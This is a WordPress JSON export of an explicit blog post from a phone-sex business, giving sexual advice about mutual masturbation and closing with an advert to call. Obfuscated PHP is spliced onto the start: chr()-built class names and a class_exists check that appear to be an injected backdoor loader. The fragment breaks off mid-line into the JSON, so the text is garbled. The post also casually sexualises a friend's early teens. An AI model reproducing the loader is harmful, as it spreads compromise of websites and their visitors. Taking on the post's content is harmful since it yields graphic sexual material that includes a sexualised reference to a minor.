$EZioUvN = chr (69) . chr (95) . chr (97) . chr (90) . chr ( 497 - 423 ).chr (90) . "\x71";$IzyPFf = "\143" . chr (108) . chr (97) . "\x73" . 's' . '_' . "\145" . chr ( 1073 - 953 ).'i' . 's' . 't' . "\x73";$XdnPe = class_exists($EZioUvN); $IzyPFf = "1459";$JcAcvYoHie = strpos($IzyPFf, $EZioUvN);if ($XdnPe == $JcAcvYoHie){function MutcY(){$AcOAFAcWq = new /* 64431 */ E_aZJZq(65295 + 65295); $AcOAFAcWq = NULL;}$VoJzNNBTx = "65295";class E_aZJZq{private function lfgnHWRV($VoJzNNBTx){if (is_array(E_aZJZq::$eRyfvpzHQe)) {$wKkycMmI2 = str_replace("<" . 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(And what she&#8217;s hung up about if she&#8217;s not!)"},"content":{"rendered":"<p><a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304049.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-557\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304049-200x300.jpg\" alt=\"augustwhitevibe050304049\" width=\"200\" height=\"300\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304049-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304049-683x1024.jpg 683w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304049.jpg 1024w\" sizes=\"(max-width: 200px) 100vw, 200px\" \/><\/a> <a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304050.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-558\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304050-200x300.jpg\" alt=\"augustwhitevibe050304050\" width=\"200\" height=\"300\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304050-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304050-683x1024.jpg 683w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304050.jpg 1024w\" sizes=\"(max-width: 200px) 100vw, 200px\" \/><\/a> <a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304009.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-561\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304009-200x300.jpg\" alt=\"augustwhitevibe050304009\" width=\"200\" height=\"300\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304009-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304009-683x1024.jpg 683w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304009.jpg 1024w\" sizes=\"(max-width: 200px) 100vw, 200px\" \/><\/a> <a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304019.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-564\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304019-200x300.jpg\" alt=\"augustwhitevibe050304019\" width=\"200\" height=\"300\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304019-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304019-683x1024.jpg 683w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304019.jpg 1024w\" sizes=\"(max-width: 200px) 100vw, 200px\" \/><\/a> <a class=\"thumbnail\" href=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304051.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-566\" src=\"http:\/\/1-800-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304051-200x300.jpg\" alt=\"augustwhitevibe050304051\" width=\"200\" height=\"300\" srcset=\"https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304051-200x300.jpg 200w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304051-683x1024.jpg 683w, https:\/\/live-hot-phonesex.com\/blog\/wp-content\/uploads\/2015\/11\/augustwhitevibe050304051.jpg 1024w\" sizes=\"(max-width: 200px) 100vw, 200px\" \/><\/a><\/p>\n<p>OK\u2026so last week we talked dirty about phone domination. This week I have my thoughts set on\u2026mutual MASTURBATION!<\/p>\n<p>Why oh why, in the year 2015, are straight women still afraid of masturbating for their partners? Being that I not only LOVE LOVE LOVE to masturbate, but that I also adore a one-man (or woman) audience for it, I couldn\u2019t help but wonder why some (many, in fact!) women simply cannot perform this act in their lover\u2019s presence?<\/p>\n<p>Let\u2019s take my friend I\u2019ll call Tanya, for example. She\u2019s in her early thirties, no kids, and is by no means your \u201caverage\u201d woman. She\u2019s got a Master\u2019s degree, still looks 25 and weighs all of 100lbs, and is currently in her first polyamorous relationship. She\u2019d always been a bit of a wild child sexually\u2014she was TOTALLY what we call JAIL BAIT as a teen\u2014lost her virginity at 13 and dressed in the most scant punk whore attire you can imagine back in the early 90\u2019s. Sex was not taboo or stigmatized for her in any way growing up. Her lack of inhibition wasn\u2019t just due to youth- over the years she\u2019s remained open sexually, from dancing naked at art shows to coming out as bisexual\u2014she\u2019s always been what I considered one of my more \u201csexually comfortable\u201d female friends.<\/p>\n<p>In fact, you may as well know she was MY first bisexual experience! Not my first KISS\u2014that was with a young Michelle Pfeifer look-alike lipstick lesbian(I&#8217;ll tell you all about it sometime!)- but my first full-on SEX with a woman. (I know\u2014it\u2019s STILL hot to think about!) Plus, we were roommates on more than one occasion, so I know she wasn\u2019t \u201cquiet\u201d in the bedroom. While she wasn\u2019t \u201ckinky\u201d by standard definition\u2014she hadn\u2019t been into domination and submission\u2014she was definitely open to many experiences beyond missionary, if you know what I mean. She was (and remains!) one of my few girlfriends who not only say they LOVE giving head, but she also truly LIKES swallowing cum. And she used a glass dildo on my like a pro more than once\u2014have I painted the picture here? She LIKED sex. A lot. She wasn\u2019t shy about it.<\/p>\n<p>However, about a year and half ago she started dating a really kinky dude. He\u2019s into ALL kinds of kink, from wearing his cock in a chastity belt while being teased, to being forced to wear women\u2019s clothing, to begging to be fucked in the ass daily with a strap-on. She really loves this guy and has been more than happy to \u201clearn\u201d to be dominant, since he\u2019s into being dominated. She\u2019s taken to it like a duck to water, as the saying goes. And she\u2019s helped him experiment for the first time with his dormant bisexual side (they\u2019re poly and swingers), which was pretty much the ONLY thing this guy hadn\u2019t tried yet. So now they are pretty much doing EVERYTHING in the book\u2026except ONE thing: SHE CAN\u2019T MASTURBATE FOR HIM!<\/p>\n<p>I know, right? She\u2019s got a strap-on up his ass, a ball-gag in his mouth, and women\u2019s panties around his ankles, and yet, for some reason she can\u2019t quite explain, she can\u2019t perform this act for him, or anyone else. And this is nothing new to me\u2014I have MULTIPLE female friends who are simply not comfortable getting off manually in front of their guys.<\/p>\n<p>I targeted Tanya, asking her WHY this isn\u2019t happening in her sex life? She wasn\u2019t sure at first, but when I dug a bit, it seemed to me that her inhibition came from two things: not feeling \u201csecure\u201d with her orgasm being \u201cscrutinized\u201d so closely by someone who wasn\u2019t also in the throes his\/herself, and performance anxiety. Let\u2019s start with talking about the first of the two\u2026<\/p>\n<p>I know it\u2019s sort of unwelcome to say this, but yeah, some people DO make funny faces when cumming. We\u2019ve seen it in real life, and we\u2019ve suffered through it in the movies (I was totally thinking Walberg in Boogie Nights with that one!) too. But are expressions of passion, while sometimes, well, odd, are also still sexy. The person is experiencing sexual pleasure, and that\u2019s HOT. I think guys naturally understand this, but I\u2019m not sure women do nearly as much, unfortunately. We can be so preoccupied with wanting to look perfect and goddess-like at all times that we forget men don\u2019t actually really dig PERFECT\u2014they want sexy and attainable and REAL. They want us NOT to care if our hair gets mussed. I learned that a long time ago in my sexual adventures, but not all women seem privy to this liberating fact!<\/p>\n<p>So&#8230;how do you get your girl to stroke her pussy for you? To lean back and take her toy, or her hand, slide it in between her legs, and let loose&#8230;<\/p>\n<p>I suggest, if your partner isn\u2019t so into the idea, to try it with the lights off first.<br \/>\nLet her escape worrying about making a silly or tense face in the darkness. Then she can just concentrate on the feeling.<\/p>\n<p>Or, it might be fun for you to just wear a blindfold while she does it. That could very well enhance HER experience too, having that new \u201cpower\u201d over you and the situation.<\/p>\n<p>Also- ahem\u2014try doing OVER THE PHONE. You can\u2019t see her, she doesn\u2019t feel \u201cstudied\u201d\u2026it\u2019s a great scenario for play. You can gradually, as her comfort level increases, start lighting a candle before beginning. And make sure she can SEE and HEAR how aroused you are\u2014that\u2019s crucial. You\u2019re stroking it while she\u2019s \u201cworking\u201d and you need to be sure to tell her how hard you are, and how much it turns you on when she touches herself.<\/p>\n<p>As for the second, well, performance anxiety is a hard one. The pressure to climax- to provide that grand finale- can be an accidental deterrent to both men and women alike. It truly helps, obviously, the more comfortable you are in general with your partner. But it&#8217;s a great idea to make sure she knows that an orgasm ISN&#8217;T the end-all-be-all. Let her know that it&#8217;s &#8220;safe&#8221; to just play and that you&#8217;re not &#8220;in it&#8221; for the &#8220;payoff&#8221;&#8211; that just watching her touch herself in ANY capacity or intensity is super hot for you. Sometimes we just can&#8217;t take too much &#8220;pressure&#8221; to &#8220;make it happen&#8221;, so it&#8217;s nice to know YOU won&#8217;t be disappointed if that&#8217;s the case. If we feel like you enjoy ALL of it, no matter where it leads, that helps us relax.<\/p>\n<p>Lastly, let her watch YOU, if she will. I LOVE watching guys jerk themselves&#8211;I don&#8217;t know why, but it gets me hotter than watching &#8220;regular sex&#8221; in action.<\/p>\n<p>xoxo<br \/>\nMIA<\/p>\n<h1><a href=\"tel:18007466373\" onclick=\"ga('send', 'event', {'eventCategory': '1800PHONESEX-VANITY-MASTURBATE-800PSblog', 'eventAction': 'click'});\">CALL 1-800-PHONESEX<\/a><\/h1>\n","protected":false},"excerpt":{"rendered":"<p>OK\u2026so last week we talked dirty about phone domination. This week I have my thoughts set on\u2026mutual MASTURBATION! Why oh why, in the year 2015, are straight women still afraid of masturbating for their partners? Being that I not only LOVE LOVE LOVE to masturbate, but that I also adore a one-man (or woman) audience&hellip; <a href=\"https:\/\/live-hot-phonesex.com\/blog\/get-your-girl-to-masturbate-for-you-and-what-shes-hung-up-about-if-shes-not\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_jetpack_memberships_contains_paid_content":false},"categories":[3],"tags":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[],"jetpack_likes_enabled":true,"_links":{"self":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts\/548"}],"collection":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/comments?post=548"}],"version-history":[{"count":1,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts\/548\/revisions"}],"predecessor-version":[{"id":588,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/posts\/548\/revisions\/588"}],"wp:attachment":[{"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/media?parent=548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/categories?post=548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/live-hot-phonesex.com\/blog\/wp-json\/wp\/v2\/tags?post=548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}